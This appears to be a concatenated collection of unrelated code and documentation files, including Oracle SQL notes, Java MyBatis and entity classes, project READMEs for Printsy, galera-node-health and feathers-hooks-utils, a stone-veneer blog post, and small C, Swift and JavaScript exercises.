#### :pushpin: 트랜잭션 Transaction * ##### 최종 결과를 내기까지 하나의 작업 단위를 의미. * ##### Oracle DataBase는 개발자가 전달한 insert, update, delete 문을 메모리상에서만 수행하고 디스크에 반영하지 않음(테이블생성,삭제는 자동 디스크 반영됨) ##### => 실수로 인한 데이터의 유실을 막기 위함. * ##### 데이터 베이스를 조작하는 작업이 완료되고 모두 정상적으로 되었아면 이를 디스크에 반영해야함. * ##### 작업이 시작되고 디스크에 반영될 때까지의 작업의 단위 = 트랜잭션. * ##### COMMIT : 트랜잭션을 완료하고 디스크에 반영. 복구 불가 * ##### ROLLBACK : 트랜잭션을 취소 * ##### SAVEPOINT : RALLBACK의 단위를 지정. 지정 시, SAVEPOINT [세이브포인트이름] / 호출 시, ROLLBACK TO [세이브포인트이름] <br> #### :round_pushpin: 시퀀스 * ##### 테이블 내의 컬럼중 PRIMARY KEY를 지정하기 애매한 경우, 1부터 1씩 증가되는 값을 저장하는 컬럼을 추가하여 사용하는 경우, 시퀀스 필요 ###### => 1부터 1씩 증가되는 값을 구하기 위해 시퀀스 이용 * ##### [문법] * ##### 시퀀스 CREATE SEQUENCE 시퀀스 이름 * ##### START WITH 숫자 : 시작 값, 시작 값은 절대 최소 값보다 작을 수 없음 * ##### INCREMENT BY 숫자 : 증가시킬 값 * ##### MAXVALUE 숫자 OR NOMAXVALUE : 시퀀스가 가질 수 있는 최대값. 생략하거나 NOMAXVALUE일 경우 10의 27승. * ##### MINVALUE 숫자 OR NOMINVALUE : 시퀀스가 가질 수 있는 최소값. 생략하거나 NOMINVALUE일 경우 1. * ##### CYCLE OR NOCYCLE : 최대 혹은 최소값까지 갈 경우 다시 최소값부터 순환한다. * ##### CACHE 숫자 OR NOCACHE : 시퀀스를 메모리상에서 관리할 수 있도록 설정하는 것. (메모리상에서 관리하기 때문에 속도가 향상됨) * ##### NEXTVAL : 다음 시퀀스 값 * ##### CURRVAL : 현재 시퀀스 값 <br> ``` --테이블 생성 CREATE TABLE TEST_TABLE20( IDX NUMBER CONSTRAINT TEST_TABLE20_IDX_PK PRIMARY KEY, NUMBER_DATA NUMBER NOT NULL ); --시퀀스 생성 CREATE SEQUENCE TEST_SEQ1 START WITH 1 INCREMENT BY 1 MINVALUE 0; --DATA INSERT INSERT INTO TEST_TABLE20(IDX, NUMBER_DATA) VALUES(TEST_SEQ1.NEXTVAL,100); INSERT INTO TEST_TABLE20(IDX, NUMBER_DATA) VALUES(TEST_SEQ1.NEXTVAL,200); SELECT * FROM TEST_TABLE20; --시퀀스 제거 시, DROP DROP SEQUENCE TEST_SEQ1; ``` <img width="434" alt="20210512085332" src="https://user-images.githubusercontent.com/74708028/117898339-bbacca00-b2ff-11eb-8b3d-cc7afe167156.png"> <br> ``` --현재 시퀀스 값 가져오기 SELECT TEST_SEQ1.CURRVAL FROM DUAL; ``` <img width="218" alt="20210512085144" src="https://user-images.githubusercontent.com/74708028/117898380-d2532100-b2ff-11eb-80f2-a6ec06f6e958.png"> <br> #### :round_pushpin: 인덱스 * ##### 데이터베이스에서 검색속도를 빠르게 하기 위해 사용하는 기능 * ##### 시스템의 부하를 줄여 성능을 향상시킴 * ##### 단점 : 추가적인 기억공간이 필요, 인덱스 생성시간이 오래걸림 , ##### INSERT, UPDATE, DELETE와 같은 변경작업이 자주 일어나면 오히려 성능 저하를 가져올 수 있음 * ##### Oracle DataBase는 테이블 내의 PRIMARY KEY 생성시, 자동으로 인덱스가 세팅됨 * ##### SO, 검색시 PRIMARY KEY 를 이용하면 속도가 높아짐 * ##### WHERE 조건절로 자주 검색하는 컬럼이 있다면 그 컬럼에 인덱스를 생성해주면 검색 속도 더 향상된다. ``` --인덱스 조회하기 SELECT INDEX_NAME, TABLE_NAME, COLUMN_NAME FROM USER_IND_COLUMNS; ``` <img width="430" alt="20210512090446" src="https://user-images.githubusercontent.com/74708028/117899182-8bfec180-b301-11eb-90d5-2a463d2f8cb0.png"> <br> #### :round_pushpin: 뷰 * ##### 데이터 베이스에서 제공하는 가상의 테이블 * ##### 뷰를 만들 때 사용한 쿼리문을 저장해두고 뷰를 조회할 때 그 쿼리문이 동작하게 되는 원리. * ##### 뷰를 사용하면 복잡한 쿼리문을 대신할 수 있기 때문에 개발의 용이성을 가질 수 있음 * ##### 주의 : 한 개 이상의 테이블을 JOIN 해서 VIEW를 생성할 경우, VIEW로 데이터를 INSERT 할 수 없음. ##### VIEW로 데이터를 INSERT, UPDATE, DELETE할 경우 , 해당 VIEW가 하나의 테이블로 구성되어있어야함. * ##### 뷰 생성 권한 설정 : 일반 계정의 경우 뷰를 생성할 수 있는 권한이 없기 때문에 뷰 생성 권한을 설정해줘야함. ##### 시스템계정으로 DB에 접속한 후, GRANT CREATE VIEW TO [계정이름] <br> <img display=inline width="413" alt="20210512094225" src="https://user-images.githubusercontent.com/74708028/117901756-041bb600-b307-11eb-865b-5bd8798b3e13.jpg"> <img display=inline width="413" alt="20210512094225" src="https://user-images.githubusercontent.com/74708028/117901772-0aaa2d80-b307-11eb-90f8-dcfb07486397.jpg"> <br> ``` --뷰 생성하기 CREATE VIEW [뷰이름] AS [서브쿼리] --사원의 사원번호, 이름, 급여, 근무부서이름, 근무지역을 가지고 있는 뷰를 생성한다. CREATE VIEW EMP_DEPT_VIEW AS SELECT A1.EMPNO, A1.ENAME, A2.DNAME, A2.LOC FROM EMP A1, DEPT A2 WHERE A1.DEPTNO = A2.DEPTNO; --뷰 조회하기 SELECT * FROM EMP_DEPT_VIEW; ``` <img width="413" alt="20210512094225" src="https://user-images.githubusercontent.com/74708028/117901487-67f1af00-b306-11eb-9752-d2aaeccf086d.png"> <br> ``` --뷰로 데이터 삽입 --뷰로 데이터를 INSERT, UPDATE, DELETE할 경우 , 해당 VIEW가 하나의 테이블로 구성되어있어야함. CREATE VIEW EMP200_VIEW AS SELECT EMPNO, ENAME, SAL FROM EMP100; INSERT INTO EMP200_VIEW (EMPNO, ENAME, SAL) VALUES (7000, '제니', 2000); ``` <img width="419" alt="20210512094230" src="https://user-images.githubusercontent.com/74708028/117901496-6c1dcc80-b306-11eb-8d99-ea52f30b04d7.png">
Java
UTF-8
2,628
2
2
[]
no_license
package com.example.graduate.mappers; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import com.example.graduate.pojo.BookOperationLog; import org.apache.ibatis.annotations.Mapper; import org.apache.ibatis.annotations.Param; import org.apache.ibatis.annotations.Select; import java.util.List; import java.util.Map; @Mapper public interface BookOperationLogMapper extends BaseMapper<BookOperationLog> { @Select("<script> " + "select count(1) from book_operation_log a " + "<where> " + " <if test = 'opName!=null and opName!=\"\"'> " + " and a.operation_person like concat('%' , #{opName,jdbcType=VARCHAR}, '%') " + "</if>" + " <if test = 'state!=null and state!=0 and state !=-1'> " + " and a.status = #{state} " + "</if>" + " <if test = 'type!=null and type!=0 and type !=-1'> " + " and a.type =#{type} " + "</if>" + " <if test = 'bid!=null and bid != -1 and bid!=0'> " + " and a.bid = #{bid} " + "</if>" + " <if test = 'date!=null and date!=\"\"'> " + " and a.create_date >= #{date} " + "</if>" + "</where>" + "</script>") int qryTotalRow(Map<String,Object> params); @Select("<script> " + "select a.* from book_operation_log a " + "<where> " + " <if test = 'opName!=null and opName!=\"\"'> " + " and a.operation_person like concat('%' , #{opName,jdbcType=VARCHAR}, '%') " + "</if>" + " <if test = 'state!=null and state!=0 and state !=-1'> " + " and a.status = #{state} " + "</if>" + " <if test = 'type!=null and type!=0 and type !=-1'> " + " and a.type =#{type} " + "</if>" + " <if test = 'bid!=null and bid != -1 and bid!=0'> " + " and a.bid = #{bid} " + "</if>" + " <if test = 'date!=null and date!=\"\"'> " + " and a.create_date >= #{date} " + "</if>" + "</where>" + "</script>") List<BookOperationLog> qryLogPage(Page<BookOperationLog> page, @Param("opName") String opName, @Param("state") int state, @Param("type") int type, @Param("date") String date, @Param("bid") int bid); }
Markdown
UTF-8
1,057
2.6875
3
[]
no_license
[Live site!](http://printsy.herokuapp.com) ![printsyy](https://user-images.githubusercontent.com/63718493/126942397-88c0c172-235c-4c2a-a570-6840ca0912ca.gif) # Overview Printsy is an etsy clone that specializes in buying and selling 3d printed items! Similar to Etsy, it is an e-commerce site where users can browse items of various different categories, all with the intent of 3d printing it at home! # Built with: - React/Redux - Frontend - Ruby on Rails - Backend - PostgreSQL - Database - AWS S3 - Image storage # Features - User Authentication - Users are allowed to create an account, log in, and log out. Demo user is provided for demo purposes - Products - Product Index page, as well as show page where users are able to view more information and add to cart - Cart - Displays products of individual sellers, each with their own checkout - Reviews - Logged in users will be able to create reviews for products with a body and rating of 1 - 5 stars - Search - Search bar that renders search results of products matching user's search input
Markdown
UTF-8
2,891
2.765625
3
[ "CC-BY-4.0", "MIT" ]
permissive
--- description: "Learn more about: Working with XML Schemas" title: "Working with XML Schemas" ms.date: "03/30/2017" ms.assetid: bbbcc70c-bf9a-4f6a-af72-1bab5384a187 --- # Working with XML Schemas To define the structure of an XML document, as well as its element relationships, data types, and content constraints, you use a document type definition (DTD) or XML Schema definition language (XSD) schema. Although an XML document is considered to be well-formed if it meets all the syntactical requirements defined by the World Wide Web Consortium (W3C) Extensible Markup Language (XML) 1.0 Recommendation, it is not considered valid unless it is both well-formed and conforms to the constraints defined by its DTD or schema. Therefore, although all valid XML documents are well-formed, not all well-formed XML documents are valid. For more information about XML, see the [W3C XML 1.0 Recommendation](https://www.w3.org/TR/REC-xml/). For more information about XML Schema, see the [W3C XML Schema Part 1: Structures Recommendation](https://www.w3.org/TR/xmlschema-1/) and the [W3C XML Schema Part 2: Datatypes Recommendation](https://www.w3.org/TR/xmlschema-2/) recommendations. ## In This Section [XML Schema Object Model (SOM)](xml-schema-object-model-som.md) Discusses the Schema Object Model (SOM) in the <xref:System.Xml.Schema?displayProperty=nameWithType> namespace that provides a set of classes that allows you to read a Schema definition language (XSD) schema from a file or programmatically create a schema in-memory. [XmlSchemaSet for Schema Compilation](xmlschemaset-for-schema-compilation.md) Discusses the <xref:System.Xml.Schema.XmlSchemaSet> class that is a cache where XSD schemas can be stored and validated. [XmlSchemaValidator Push-Based Validation](xmlschemavalidator-push-based-validation.md) Discusses the <xref:System.Xml.Schema.XmlSchemaValidator> class that provides an efficient, high-performance mechanism to validate XML data against XSD schemas in a push-based manner. [Inferring an XML Schema](inferring-an-xml-schema.md) Discusses how to use the <xref:System.Xml.Schema.XmlSchemaInference> class to infer an XSD schema from the structure of an XML document. ## Reference <xref:System.Xml.Schema.XmlSchemaSet> &#124; <xref:System.Xml.Schema.XmlSchemaInference> &#124; <xref:System.Xml.XmlReader> ## Related Sections [Validating an XML Document in the DOM](validating-an-xml-document-in-the-dom.md) Discusses how to validate the XML in the Document Object Model (DOM). You can validate the XML as it is loaded into the DOM, or validate a previously unvalidated XML document in the DOM. [Schema Validation using XPathNavigator](schema-validation-using-xpathnavigator.md) Discusses how to validate XML being navigated and edited using the <xref:System.Xml.XPath.XPathNavigator> class.
Java
UTF-8
1,687
2.109375
2
[]
no_license
package com.bridge.entity; import java.util.Date; public class User { private Integer userId; private String userName; private String nickName; private String password; private String phone; private String email; private Date lastSendEmailTime; private String remark; private Integer role; public Integer getUserId() { return userId; } public void setUserId(Integer userId) { this.userId = userId; } public String getUserName() { return userName; } public void setUserName(String userName) { this.userName = userName; } public String getNickName() { return nickName; } public void setNickName(String nickName) { this.nickName = nickName; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String getPhone() { return phone; } public void setPhone(String phone) { this.phone = phone; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public Date getLastSendEmailTime() { return lastSendEmailTime; } public void setLastSendEmailTime(Date lastSendEmailTime) { this.lastSendEmailTime = lastSendEmailTime; } public Integer getRole() { return role; } public void setRole(Integer role) { this.role = role; } public String getRemark() { return remark; } public void setRemark(String remark) { this.remark = remark; } }
JavaScript
UTF-8
824
2.671875
3
[]
no_license
import React, {Component} from 'react'; import styled from 'styled-components'; const Text=styled.span` font-size: 20px; color: ${props=>(props.ok ? 'lightgrey' : 'black')}; ` class CarItem extends Component{ constructor(props){ super(props) this.state={ done: false } this.toggle=this.toggle.bind(this) } toggle(){ this.setState({ done: !this.state.done+"dd" }) } render(){ let{text}=this.props return( <div> <input type="checkbox" value={this.state.done} onClick={this.toggle} /> <Text ok = {this.state.done}>{text}</Text> </div> ) } } export default CarItem;
Markdown
UTF-8
5,294
2.953125
3
[]
no_license
--- layout: blog permalink: "/blog/ivory-stone-with-view-cyprus/" classes: blog title: Amazing Stone for an Amazing View in Cyprus meta: title: Norstone Ivory Rock Panels on Exterior of Vacation Home description: Norstone Ivory Rock Panels are used in two different outdoor locations on this exceptional vacation home on the Mediterranean island of Cyprus. image: src: "/uploads/2018/05/04/Norstone Ivory Rock Panels Outdoor Patio Feature Wall.jpg" title: Norstone Ivory Rock Panels with an amazing ocean view alt: Norstone Ivory Rock Panels that were used on an architectural design wall in Cyprus excerpt: This vacation home on the Mediterranean island of Cyprus has got not only some life changing views but some amazing stone work worth appreciating as well. Allow us to introduce this special project we had the privilege to supply stone to in this week's blog. date: 2018-05-03 00:00:00 +0000 --- Our [Ivory Rock Panels](https://www.norstoneusa.com/products/rock-panels/ivory/) can sometimes get lost when compared to the other colors in our [Standard Rock Panel](https://www.norstoneusa.com/products/stacked-stone-cladding/) and [XL Rock Panel Series](https://www.norstoneusa.com/products/thin-stone-veneer-panels/). The monochromatic tones of the Charcoal and White are ideal for modern inspired design, and the color friendly Ochre is a best seller for its versatility. However those of us that have spent a long time with our products tend to agree that the Ivory ends up being most people's favorite color. The smooth blending of the light color tones gives this product an understated elegance that is hard to beat. So it was no surprise when our distributor in the UK wanted to use the Ivory Rock Panels on a vacation home in the Mediterranean island of Cyprus. With the product installed in two main areas, let's take a look at this project and the amazing use of the Ivory stone. ![Norstone Ivory Rock Panels used in an outdoor courtyard of a vacation home in Cyprus](/uploads/2018/05/04/Norstone Ivory Rock Panels Outdoor Courtyard Cyprus.jpg) Set on a rocky hillside, this home had to be somewhat built into the side of the hill, creating the need for [outdoor retaining wall](https://www.norstoneusa.com/blog/natural-stone-retaining-walls-norstone-classroom-series/) like structures on the high side of the lot. This first wall forms a side courtyard like space off the main living area. The stone is set at waist height and above to maximize effect when viewed from the inside and have a nice contrasting feel with the smooth white stucco so popular in this region of the world. Locally sourced polished limestone outdoor pavers, set together tightly like tile, are a nice complement color wise to the gold and yellow tones in the Ivory, and their honed finish is perfect for the modern aesthetic of this space. Both up and down lighting add to the ambiance of this [stone centered outdoor space](https://www.norstoneusa.com/blog/natural-stone-patios-designing-norstone-series/) when the sun goes down. ![Kitchen backsplash with large windows instead of a backsplash looking out onto the courtyard's stone feature wall](/uploads/2018/05/04/Norstone Ivory Rock Panels See Thru Backsplash Cyprus.jpg) The same outdoor courtyard wall also becomes the focal point of the large eat in kitchen. The unique design of the kitchen utilizes large glass windows that serve as a defacto backsplash. We love this look and are surprised we don't see it more often. Glass is just as easy to clean as tile from a practical purpose, and this backsplash allows for great natural light in the space and a dual use of the outdoor stone wall, which can now also be enjoyed from the interior. The mellow tones of the Ivory work perfectly here, not dominating the space and creating an open and inviting feel in the space, ideal for a vacation home. ![Norstone Ivory Stacked stone with a view of the Mediterranean Sea in Cyprus](/uploads/2018/05/04/Norstone Ivory Rock Panels Outdoor Patio Feature Wall-1.jpg) The second space the [Ivory Rock Panels](https://www.norstoneusa.com/gallery/rock-panels/ivory/) were used was in a super unique patio privacy wall at the rear of the property. The view of this space is the sort of thing office dwellers dream about from their cubicles, but for practical purposes, there was a lot of utility equipment that needed placed in this area. To not sully the view, this unique privacy wall was designed to hide the utility equipment, match and contribute to the modern architecture of the home, and still look great. We especially like how the ivory and cream tones of the rock panels blend into the natural color range of the surrounding landscape. With the beautiful blue waters of the Mediterranean Sea in the distance, we can't think of a better color stone for this installation. Thanks for taking this quick tour around this magnificent home in Cyprus with us. We hope it gives you a better appreciation for our Ivory Rock Panels which are an awesome product and color scheme to design with or around. Reach out to one of our customer service reps for samples of our Ivory stone, which is currently available in both the Standard and XL Series Rock Panels, and see how beautiful this product is in person.
JavaScript
UTF-8
1,085
2.8125
3
[]
no_license
const request = require('request-promise') const cheerio = require('cheerio') const name = 'PWN dictionary' const keyword = 'pwn' const url = query => `https://sjp.pwn.pl/szukaj/${query}.html` const removeSpaces = query => { return query.replace(/\s+[\n\r]/g, ', ').replace(/\s+/g,' ').trim() } const pwnContent = async response => { const $ = cheerio.load(response) let result = [] $('.type-187126').each( (i,item) => result.push(cheerio(item).text().split('\n'))) result = result.map( item => item.map(removeSpaces).filter(item => item.length).join('<br>') ) return result.join('<br>') } const getContent = async query => { const response = await request.get(encodeURI(url(query))) return pwnContent(response) } const preview = async (query) => { if (!query) { return 'Enter the word to find in dictionary' } const result= await getContent(query) if (result) { return `<ol>${result}</ol>` } else { return `There is noword "${query}" in dictionary` } } exports.plugin = tools => { return { name, keyword, preview, } }
Swift
UTF-8
469
2.78125
3
[]
no_license
import Foundation class DateFormats { static let shortFormatter = { () -> DateFormatter in let formatter = DateFormatter() formatter.dateFormat = "yyyy-MM-dd" return formatter }() static let longFormatter = { () -> DateFormatter in let formatter = DateFormatter() formatter.dateFormat = "yyyy'-'MM'-'dd'T'HH':'mm':'ssZ" formatter.timeZone = TimeZone(secondsFromGMT: 0) return formatter }() }
C
UTF-8
710
4
4
[]
no_license
//Sieve of eratosthenes using loop #include <stdio.h> #include <math.h> #include <stdbool.h> void main() { int testCases, n; printf("Enter number of testCases: "); scanf("%d",&testCases); for( int k=1 ; k<=testCases ; k++ ) { printf("\nTest Case %d: " , k); scanf("%d",&n); bool sieve[n+1]; for( int i=2; i<=n ; i++) sieve[i] = true; sieve[0] = false; sieve[1] = false; for( int i=2 ; i<=sqrt(n) ; i++) { if(sieve[i] == true) { for( int j=i*i ; j<=n ; j=j+i) sieve[j] = false; } } int counter = 0 ; for( int i=0 ; i<=n ; i++ ) { if(sieve[i] == true) { counter++; printf("%d ",i); } } printf("\n\n%d", counter); } return; }
JavaScript
UTF-8
152
3.125
3
[]
no_license
let salaries = { John: 100, Ann: 160, Pete: 130 } var sum = 0; for (key in salaries) { sum += salaries[key]; } document.write(sum);
C
UTF-8
489
4
4
[]
no_license
/* Write a C program to input any character and check whether it is alphabet, digit or special character. source by com.adygreg [29:11:2020] */ #include <stdio.h> int main (void) { char c; printf("Enter :: "); scanf("%c", &c); if((c >= 'a' && c <= 'z')||(c >= 'A' && c <= 'Z')) printf("Alphabet"); else if(c >= '0' && c <= '9') printf("Digit"); else printf("Special Character"); return 0; }
Markdown
UTF-8
6,047
2.625
3
[ "MIT" ]
permissive
# Short description: Health check for a Galera cluster node (MySQL, MariaDB, Percona XtraDB). # Long description: This image provides a health check for Galera cluster nodes. It works by spinning up a gevent server, connecting to the instance and checking its current status and variables. Health check gevent server is behind a lighttpd proxy. The health check status of the node can be acquired by `GET /health` to the health check port. It can be set as a http health check in HAProxy. # Features: - Supports MySQL, Percona XtraDB and MariaDB - Connects via tcp/ip or socket - Support for password or socket authorization - Standalone and non-Primary detection - Automatic maintenance mode for the instance based on config variables: `'WSREP_REJECT_QUERIES', 'WSREP_SST_DONOR_REJECTS_QUERIES', 'WSREP_ON', 'WSREP_DESYNC', 'WSREP_OSU_METHOD', 'WSREP_SST_METHOD'` - Donor state detection with maintenance mode if necessary - Manual maintenance mode via `GET /maint_on` and `GET /maint_off` # Basic usage: It is assumed that the Galera node is running on the host. To start docker using socket auth (recommended - no need to save password in the config): 1. Configure the database to create socket in a separate folder with **db.sock** as the filename. Example config option in my.cnf: `socket=/var/run/mysql-sockets/db.sock` 2. Create OS user for login. `useradd galera-node-health -s /bin/false` 3. Activate socket authentication plugin by connecting to the database and running: 1. For MariaDB: `MariaDB [(none)]> INSTALL SONAME "auth_socket.so";` 2. For MySQL and Percona: `mysql> INSTALL PLUGIN auth_socket SONAME "auth_socket.so";` 4. Create user in database. 1. For MariaDB: `CREATE USER 'galera-node-health'@'localhost' IDENTIFIED VIA 'unix_socket';` 2. For MySQL and Percona: `CREATE USER 'galera-node-health'@'localhost' IDENTIFIED WITH 'auth_socket';` 5. Run a detached docker image with mounted db socket to `/health_check/sockets/db.sock`, uid of created user and exposed proxy port `docker run -d -v /var/run/mysql-sockets:/health_check/sockets -p <port_on_host>:8888 -u $(id -u galera-node-health) breakgard/galera-node-health` You can also try `docker run -d -v <path_to_mysql_socket>:/health_check/sockets/db.sock -p <port_on_host>:8888 -u $(id -u galera-node-health) breakgard/galera-node-health`, but beware. The mounting of the whole folder (instead of just the socket file) is required, because mysql deletes the socket file when it closes. The socket does not get relinked inside the docker container on mysql restart. You will need to restart the health check, so that the socket file gets mounted again. If you cannot change the database socket location/name and you do not want to restart the healthcheck each time the database goes down, see example config below and use password authentication. If the Galera node runs inside a docker container, you will need to share the database socket to the health check, create the galera-node-health user inside the database container and run galera-node-health image using the uid of the user created inside the container. Or just use password authentication via tcp connection. Best to have a way of limiting the docker logs size for the container. This is to make sure you don't run out of space, as the health check will log access requests. # Customization: You can use a custom health check config by mounting it inside: `-v <path_to_conf>:/health_check/conf/galera-node-health.cfg` You can get an example config with descriptions of all options by running: `docker run breakgard/galera-node-health galera-node-health --print-example-config` If you'd like, you can also use a custom lighttpd config for the proxy with: `-v <path_to_proxy_conf>:/health_check/proxy_conf/lighttpd.conf` # Environment variables The docker container accepts the following environment variables (except `DISABLE_PROXY`, those work only with default proxy config): * `-e DISABLE_PROXY=yes` - Proxy will not start. Useful if you already have a http server that could be setup for proxying requests. If you use this option, expose the checker port instead of proxy (default: `8080`) and change health check bind address (default: `127.0.0.1`) with a custom config. * `-e PROXY_PORT=8888` - Proxy will bind on port set here. Default proxy port is `8888`. Useful if running the container with --net=host option * `-e PROXY_ADDRESS=0.0.0.0` - IP address the proxy will bind to. Default address is `0.0.0.0`. * `-e PROXY_ENABLE_LOGS=yes` - This will enable proxy logs. Useful for debugging, but the logs could grow in size over time and the container has no mechanism to clean them. The logs are stored in container path `/health_check/logs`. If you wish to mount it from the host, make sure the galera-node-health user can write to it. * `-e PROXY_DISABLE_MAINT=yes` - This disables the maintenance links in the proxy. If not disabled in health check config, the links still work when accessed directly on the health check port. # HAproxy config example The health check will work with the following HAproxy backend check configuration: ``` backend galera-example balance roundrobin mode tcp option httpchk GET /health HTTP/1.0 http-check disable-on-404 http-check expect status 200 default-server inter 3s fall 3 rise 2 server galera1 <IP>:<PORT> check port 8888 server galera2 <IP>:<PORT> check port 8888 server galera3 <IP>:<PORT> check port 8888 ``` # Create your own image! Example Dockerfile: ``` FROM breakgard/galera-node-health:<version> COPY <your_health_check_config> /health_check/conf/galera-node-health.cfg COPY <your_lighttpd_proxy_config> /health_check/proxy_conf/lighttpd.conf EXPOSE <proxy_port> ``` # Supported MySQL versions: - MySQL: 5.7 - Percona XtraDB: 5.7 - MariaDB: 10.2 # Links: GitHub: https://github.com/breakgard/galera-node-health/ ## Changelog: # [0.1.0] - Initial release - Supported versions - MySQL: 5.7 - Percona XtraDB: 5.7 - MariaDB: 10.2
Markdown
UTF-8
4,105
2.6875
3
[ "MIT" ]
permissive
DEPRECATED. Goodbye, adiós, au revoir, auf Wiedersehen, zàijiàn. Please the utilities in [@feathers-plus/feathers-common-hooks](https://feathers-plus.github.io/v1/feathers-hooks-common/) ## feathers-hooks-utils Utility library for writing [Feathersjs](http://feathersjs.com/) hooks. [![Build Status](https://travis-ci.org/eddyystop/feathers-hooks-utils.svg?branch=master)](https://travis-ci.org/eddyystop/feathers-hooks-utils) [![Coverage Status](https://coveralls.io/repos/github/eddyystop/feathers-hooks-utils/badge.svg?branch=master)](https://coveralls.io/github/eddyystop/feathers-hooks-utils?branch=master) **DEPRECATED. Goodbye, adiós, au revoir, auf Wiedersehen, zàijiàn.** **A modified version of this repo has been moved into feathersjs/feathers-hooks-common/utils, and you should use that instead. However there are breaking differences.** ## Code Example ```javascript const utils = require('feathers-hooks-utils'); // Check we are running as a before hook performing an update or patch method. exports.before = { create: [ utils.checkContext(hook, 'before', ['update', 'patch']); ... ], }; ``` ```javascript // Support conditional inclusion of hooks. // Check user authentication with 1 line of code. const populateOwnerId = false; exports.before = { create: concatHooks([ // Flatten hooks utils.restrictToAuthenticated, // Ensure user is authenticated. Note its not a fcn call. populateOwnerId && hooks.associateCurrentUser({ as: 'ownerId' }), // Conditional inclusion hooks.associateCurrentUser({ as: 'createdById' }), ]), }; /* Same result as create: [ auth.verifyToken(), auth.populateUser(), auth.restrictToAuthenticated() hooks.associateCurrentUser({ as: 'createdById' }), ] */ ``` ```javascript // Get hook data from `hook.data`, `hook.data.$set` or `hook.result` depending on the context. exports.before: { patch: [ (hook) => { const data = utils.get(hook); // from hook.data.$set ... }, ], }; exports.after: { update: [ (hook) => { const data = utils.get(hook); // from hook.result ... }, ], }; ``` ```javascript // Set hook data in `hook.data`, `hook.data.$set` or `hook.result` depending on the context. exports.before: { create: [ (hook) => { ... utils.set(hook, 'age', 30); // into hook.data }, ], }; exports.after: { create: [ (hook) => { ... utils.set(hook, 'readAt', new Date()); // into hook.result }, ], }; ``` ```javascript // Replace all hook data in `hook.data`, `hook.data.$set` or `hook.result` depending on the context. // This might be used, for example, to replace the original hook data after it has been sanitized. exports.before: { create: [ (hook) => { ... utils.setAll(hook, sanitizedData); // into hook.data }, ], }; exports.after: { create: [ (hook) => { ... utils.set(hook, replacementData); // into hook.result }, ], }; ``` ## Motivation You will be writing [hooks](http://docs.feathersjs.com/hooks/readme.html) if you use [Feathers](http://feathersjs.com/). This library delivers some of the common functions you want to perform, and its modularity should make your hooks easier to understand. ## Installation Install [Nodejs](https://nodejs.org/en/). Run `npm install feathers-hooks-utils --save` in your project folder. You can then require the utilities. ```javascript // ES5 const utils = require('feathers-hooks-utils'); const checkContext = utils.checkContext; // or ES6 import { checkContext } from 'feathers-hooks-utils'; ``` You can require individual utilities if you want to reduce (a little bit of) code: ```javascript // ES5 const checkContext = require('feathers-hooks-utils/lib/checkContext'); ``` `/src` on GitHub contains the ES6 source. It will run on Node 6+ without transpiling. ## API Reference Each utility is fully documented in its source file. ## Tests `npm test` to run tests. `npm run cover` to run tests plus coverage. ## Contributors - [eddyystop](https://github.com/eddyystop) ## License MIT. See LICENSE.
Java
UTF-8
651
1.90625
2
[]
no_license
package com.saber.multiplication.multiplicationv2.services.impl; import com.saber.multiplication.multiplicationv2.dto.User; import com.saber.multiplication.multiplicationv2.repositories.UserRepository; import com.saber.multiplication.multiplicationv2.services.UserService; import lombok.RequiredArgsConstructor; import org.springframework.stereotype.Service; import java.util.List; @Service @RequiredArgsConstructor public class UserServiceImpl implements UserService { private final UserRepository userRepository; @Override public List<User> findAllById(List<Long> ids) { return this.userRepository.findAllByIdIn(ids); } }
Java
UTF-8
2,086
2.421875
2
[]
no_license
package hotel.gen.cxf; import javax.xml.bind.annotation.XmlEnum; import javax.xml.bind.annotation.XmlEnumValue; import javax.xml.bind.annotation.XmlType; /** * <p>RoomTypes的 Java 类。 * * <p>以下模式片段指定包含在此类中的预期内容。 * <p> * <pre> * &lt;simpleType name="RoomTypes"&gt; * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}string"&gt; * &lt;enumeration value="Run_Of_House"/&gt; * &lt;enumeration value="Standard"/&gt; * &lt;enumeration value="Double_Double"/&gt; * &lt;enumeration value="Suite"/&gt; * &lt;enumeration value="Complimentary_Run_Of_House"/&gt; * &lt;enumeration value="Complimentary_Standard"/&gt; * &lt;enumeration value="Complimentary_Double_Double"/&gt; * &lt;enumeration value="Complimentary_Suite"/&gt; * &lt;enumeration value="External"/&gt; * &lt;/restriction&gt; * &lt;/simpleType&gt; * </pre> * */ @XmlType(name = "RoomTypes") @XmlEnum public enum RoomTypes { @XmlEnumValue("Run_Of_House") RUN_OF_HOUSE("Run_Of_House"), @XmlEnumValue("Standard") STANDARD("Standard"), @XmlEnumValue("Double_Double") DOUBLE_DOUBLE("Double_Double"), @XmlEnumValue("Suite") SUITE("Suite"), @XmlEnumValue("Complimentary_Run_Of_House") COMPLIMENTARY_RUN_OF_HOUSE("Complimentary_Run_Of_House"), @XmlEnumValue("Complimentary_Standard") COMPLIMENTARY_STANDARD("Complimentary_Standard"), @XmlEnumValue("Complimentary_Double_Double") COMPLIMENTARY_DOUBLE_DOUBLE("Complimentary_Double_Double"), @XmlEnumValue("Complimentary_Suite") COMPLIMENTARY_SUITE("Complimentary_Suite"), @XmlEnumValue("External") EXTERNAL("External"); private final String value; RoomTypes(String v) { value = v; } public String value() { return value; } public static RoomTypes fromValue(String v) { for (RoomTypes c: RoomTypes.values()) { if (c.value.equals(v)) { return c; } } throw new IllegalArgumentException(v); } }
Markdown
UTF-8
22,862
3.375
3
[]
no_license
# Data acquistion and understanding *Big Data* has become part of the lexicon of organizations worldwide, as more and more organizations look to leverage data to drive more informed business decisions. With this evolution in business decision-making, the amount of raw data collected, along with the number and diversity of data sources, is growing at an astounding rate. Raw data, however, is often noisy and unreliable and may contain missing values and outliers. Using such data for modeling can produce misleading results. For the data scientist, the ability to combine these large, disparate data sets into a format more appropriate for conducting advanced analytics is an increasingly crucial skill. In the field of data science, this skill is commonly known as **data wrangling**. ## What is data wrangling? Data wrangling, also referred to as data munging or data transformation, is the process of cleaning, restructuring and enriching raw data to transform it into a format more suitable for use in common data science tasks, such as advanced data analytics and machine learning. Real-world data is frequently gathered from multiple sources using varying processes, and collected in several different formats and data stores. This data may contain irregularities or corrupt data which can compromise the quality of the dataset, including: - Incomplete data lacking attributes or containing missing values - Noisy data with erroneous records or outliers - Inconsistent data containing conflicting records or discrepancies To build quality predictive models, data scientists must have quality data. This is where data wrangling comes into play. The process allows for the identification of data quality issues 